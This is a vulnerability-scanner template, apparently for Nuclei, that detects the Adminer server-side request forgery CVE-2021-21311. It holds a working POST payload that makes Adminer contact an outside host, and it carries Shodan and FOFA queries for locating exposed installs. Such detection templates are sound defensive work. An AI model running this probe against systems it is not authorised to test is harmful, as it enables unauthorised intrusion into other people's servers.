67 lines
2.2 KiB
YAML
67 lines
2.2 KiB
YAML
id: CVE-2021-21311
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info:
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name: Adminer <4.7.9 - Server-Side Request Forgery
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author: Adam Crosser,pwnhxl
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severity: high
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description: Adminer before 4.7.9 is susceptible to server-side request forgery due to exposure of sensitive information in error messages. Users of Adminer versions bundling all drivers, e.g. adminer.php, are affected. An attacker can possibly obtain this information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
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reference:
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- https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6
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- https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
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- https://packagist.org/packages/vrana/adminer
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21311
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- https://github.com/vrana/adminer/commit/ccd2374b0b12bd547417bf0dacdf153826c83351
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remediation: Upgrade to version 4.7.9 or later.
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
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cvss-score: 7.2
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cve-id: CVE-2021-21311
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cwe-id: CWE-918
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epss-score: 0.00795
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cpe: cpe:2.3:a:adminer:adminer:*:*:*:*:*:*:*:*
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metadata:
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max-request: 6
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fofa-query: app="Adminer" && body="4.7.8"
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hunter-query: app.name="Adminer"&&web.body="4.7.8"
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shodan-query: title:"Login - Adminer"
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vendor: adminer
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product: adminer
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tags: cve,cve2021,adminer,ssrf
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http:
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- raw:
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- |
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POST {{path}} HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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auth[driver]=elastic&auth[server]=example.org&auth[username]={{to_lower(rand_base(8))}}&auth[password]={{to_lower(rand_base(8))}}&auth[db]={{to_lower(rand_base(8))}}
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payloads:
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path:
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- "/index.php"
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- "/adminer.php"
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- "/adminer/adminer.php"
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- "/adminer/index.php"
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- "/_adminer.php"
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- "/_adminer/index.php"
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attack: batteringram
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stop-at-first-match: true
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cookie-reuse: true
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redirects: true
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max-redirects: 1
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "<title>400 - Bad Request</title>"
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- "<title>400 - Bad Request</title>"
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condition: or
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- type: status
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status:
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- 403
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